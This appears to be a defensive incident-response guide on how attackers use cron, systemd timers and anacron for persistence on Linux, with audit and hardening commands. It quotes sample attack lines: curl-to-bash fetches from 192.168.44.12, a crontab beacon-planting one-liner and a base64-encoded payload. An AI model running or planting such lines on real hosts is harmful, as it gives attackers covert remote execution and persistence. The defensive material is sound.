If you've ever done incident response on a Linux box that got popped, there's a good chance you found something sitting quietly in cron. I have seen this happen more times than I can count: a server gets compromised through a vulnerable web app or a leaked SSH key, the attacker does their initial damage, and then they plant a cron entry so they can come back even after you think you've cleaned up. Cron is boring, invisible, and trusted by default — which makes it one of the best persistence mechanisms an attacker can ask for.
Symptoms
The signs are usually subtle at first. You might notice outbound connections to IPs or domains you don't recognize, showing up in
netstator firewall logs at suspiciously regular intervals, like every minute or every five minutes. That regularity is the giveaway — human activity is messy, cron is metronomic.
Other common symptoms include unexplained CPU spikes at fixed times (cryptominers love this), a server that keeps reappearing in a botnet even after you've killed the malicious process, new user accounts or SSH keys you didn't create, or outbound mail/spam suddenly originating from your box. Sometimes it's more mundane:
/var/log/cronor
/var/log/syslogshows a CRON entry running a command you've never seen, like:
Aug 25 03:00:01 sw-infrarunbook-01 CRON[18422]: (infrarunbook-admin) CMD (curl -s http://192.168.44.12/update.sh | bash)
If you see anything piping curl or wget straight into a shell from cron, stop what you're doing and treat that host as compromised.
Root Cause 1: Cron runs with the permissions of whoever owns it — often root
This is the fundamental reason cron is such a juicy target. System-wide cron jobs defined in
/etc/crontabor
/etc/cron.d/run as root unless a different user is specified in the job line. If an attacker gets even a foothold — say, a web shell running as
www-data— and they can write to any of these locations, they've just escalated to root-level persistence without needing a kernel exploit.
To identify this, check who owns and can write to the cron directories:
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/crontab
stat -c '%U %G %a %n' /etc/crontab
If permissions are anything looser than
644owned by root, or if a web server user has write access to any parent directory, that's your entry point. Fix it:
chown root:root /etc/crontab /etc/cron.d -R
chmod 644 /etc/crontab
chmod 755 /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly
Root Cause 2: Per-user crontabs are easy to plant and easy to miss
Every user on the system can have their own crontab, stored in
/var/spool/cron/crontabs/on Debian-based systems or
/var/spool/cron/on RHEL-based ones. These are rarely audited because admins tend to only check
/etc/crontab. An attacker who compromises any user account — even a low-privilege one — can drop a persistence job into that user's crontab with a single command, no root required:
(crontab -l 2>/dev/null; echo "*/5 * * * * curl -fsSL http://192.168.44.12/beacon.sh | bash") | crontab -
I've seen this exact pattern used to maintain access to a Node.js app server after the initial vulnerability (an outdated dependency) was patched. The dev team thought they were clean because they fixed the app, but the cron entry survived the fix.
To check every user's crontab, don't rely on the currently logged-in user:
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ===";
crontab -u "$user" -l 2>/dev/null;
done
Anything unexpected gets removed with
crontab -u username -rafter you've captured a copy for forensics (never delete evidence before you've saved it somewhere safe).
Root Cause 3: Cron directories are writable by too many people
This is closely related to cause 1, but it deserves its own callout because it's so common in shared hosting or multi-tenant environments. If
/etc/cron.d/or a drop-in directory is group-writable, or if a deploy script runs with overly broad permissions and creates files there with
0666, any compromised account in that group can drop a job.
Check for world-writable or group-writable cron files across the whole system:
find / -path /proc -prune -o \( -name 'crontab' -o -path '*/cron.d/*' -o -path '*/cron.hourly/*' -o -path '*/cron.daily/*' \) -perm -o+w -print 2>/dev/null
If that command returns anything, you have a real problem. Fix ownership and permissions immediately, and audit what created that file in the first place — usually it's a deployment tool or a Docker entrypoint script that ran with a too-permissive umask.
Root Cause 4: Base64 or hex-encoded payloads hide malicious intent from casual review
Attackers know admins sometimes skim cron output rather than read it carefully. A quick
crontab -lthat shows something like this can slip right past a tired sysadmin at 2 AM:
*/10 * * * * echo Y3VybCAtcyBoWFRQOi8vMTkyLjE2OC40NC4xMi9wIHwgc2g= | base64 -d | bash
That decodes to a curl-pipe-to-shell command. This is exactly why you should never eyeball cron entries and assume they're benign just because they look like noise. Decode anything suspicious before dismissing it:
echo 'Y3VybCAtcyBoWFRQOi8vMTkyLjE2OC40NC4xMi9wIHwgc2g=' | base64 -d
When auditing, grep specifically for encoding tells across all cron locations:
grep -rE 'base64|xxd -r|openssl enc|printf.*\\x' /etc/crontab /etc/cron.d/ /var/spool/cron/ 2>/dev/null
Root Cause 5: No logging or auditing on crontab and cron directory changes
The reason cron persistence often goes undetected for weeks is that most servers don't log who edited a crontab or when. The default cron daemon just logs job execution, not job creation. Without file integrity monitoring, an attacker can add, remove, and re-add jobs freely and you'd never know unless you happened to run
crontab -lat the right moment.
The fix here is auditd. Add watch rules for the key cron paths:
auditctl -w /etc/crontab -p wa -k cron_mod
auditctl -w /etc/cron.d/ -p wa -k cron_mod
auditctl -w /var/spool/cron/crontabs/ -p wa -k cron_mod
Make these persistent by adding them to
/etc/audit/rules.d/cron.rules, then restart auditd. From then on, any modification shows up in
ausearch -k cron_modwith the exact process and user responsible — invaluable during an actual incident because you can pinpoint the moment of compromise instead of guessing.
Root Cause 6: Cron jobs referencing scripts in world-writable directories
Even a legitimate, root-owned cron entry can become an attack vector if the script it calls lives somewhere an unprivileged user can modify. I've seen this in the wild with a job like:
0 * * * * root /tmp/cleanup.sh
/tmpis world-writable with the sticky bit, sure, but that only protects against other users deleting the file — not against a user simply overwriting a file they don't own if the original permissions were loose, or replacing it entirely if it doesn't exist yet and they win the race. If
/tmp/cleanup.shdoesn't exist and root cron tries to run it, anyone can create it first and get root execution on the next run.
Check every cron job's target script and its full parent path for writability:
namei -l /tmp/cleanup.sh
Move operational scripts to
/opt/or
/usr/local/sbin/with root-only write permissions, never
/tmp,
/var/tmp, or any directory writable by application service accounts.
Root Cause 7: Compromised application accounts inherit cron access nobody thought about
A lot of teams run their app under a dedicated service account — say,
deployor
www-data— and never think about whether that account can schedule cron jobs. On most distros, if there's no
/etc/cron.allowfile, every user listed in
/etc/passwdwho isn't explicitly in
/etc/cron.denycan use crontab. That means a web app RCE instantly grants cron scheduling capability, not just command execution in that one request.
Check what the current policy allows:
cat /etc/cron.allow 2>/dev/null
cat /etc/cron.deny 2>/dev/null
If neither file exists, cron defaults to allowing everyone. Lock this down by creating an explicit allow list containing only the accounts that genuinely need scheduling rights:
echo infrarunbook-admin > /etc/cron.allow
chmod 600 /etc/cron.allow
Now any other account, including compromised app service accounts, gets
you (username) are not allowed to use this programif they try
crontab -e.
Root Cause 8: Systemd timers and anacron get overlooked during cleanup
This one bites a lot of people during incident response. They clean up
/etc/crontab, wipe every user's crontab, and declare victory — but the attacker actually used a systemd timer unit or an anacron entry in
/etc/cron.daily/, which nobody thought to check because "cron" in their mental model only means crontab files.
List all systemd timers and look for anything unfamiliar:
systemctl list-timers --all
systemctl cat suspicious-timer.timer
And check every anacron drop-in individually, since a malicious script in
/etc/cron.daily/just needs to be executable to run:
ls -la /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
file /etc/cron.daily/*
Any script here that isn't part of your standard package installs (logrotate, apt, man-db, etc.) deserves a hard look. Compare against a known-good baseline from a freshly provisioned host if you have one.
Prevention
None of this is complicated once you build the habit. Bake a cron audit into your regular server hardening checklist rather than treating it as an incident-response afterthought. A few things I do on every server I manage now: enforce
/etc/cron.allowwith an explicit list, put auditd watches on every cron-related path, and run a weekly diff of all crontabs against a known baseline stored in version control.
Also worth doing: disable cron entirely on hosts that don't need it. A stateless container or a worker node that's fully managed by an orchestrator often has no legitimate reason to run cron at all, and an unused, unmonitored service is exactly the kind of thing attackers rely on.
systemctl disable --now cron
systemctl mask cron
File integrity monitoring tools like AIDE or Wazuh will flag changes to cron paths automatically, which saves you from having to remember to check manually. And when you do a post-incident cleanup, always assume cron, systemd timers, and anacron are three separate things that all need checking — not one thing under a different name. That assumption alone would have saved a lot of the re-compromises I've seen where a team thought they'd cleaned house but missed the timer unit sitting quietly in
/etc/systemd/system/.
Finally, treat any cron entry that pipes remote content into a shell interpreter as an automatic incident, full stop. There's no legitimate operational reason for
curl | bashor
wget -O- | shto exist in production cron. If you find it, isolate the host, rotate credentials, and start your investigation from there rather than just deleting the line and moving on.
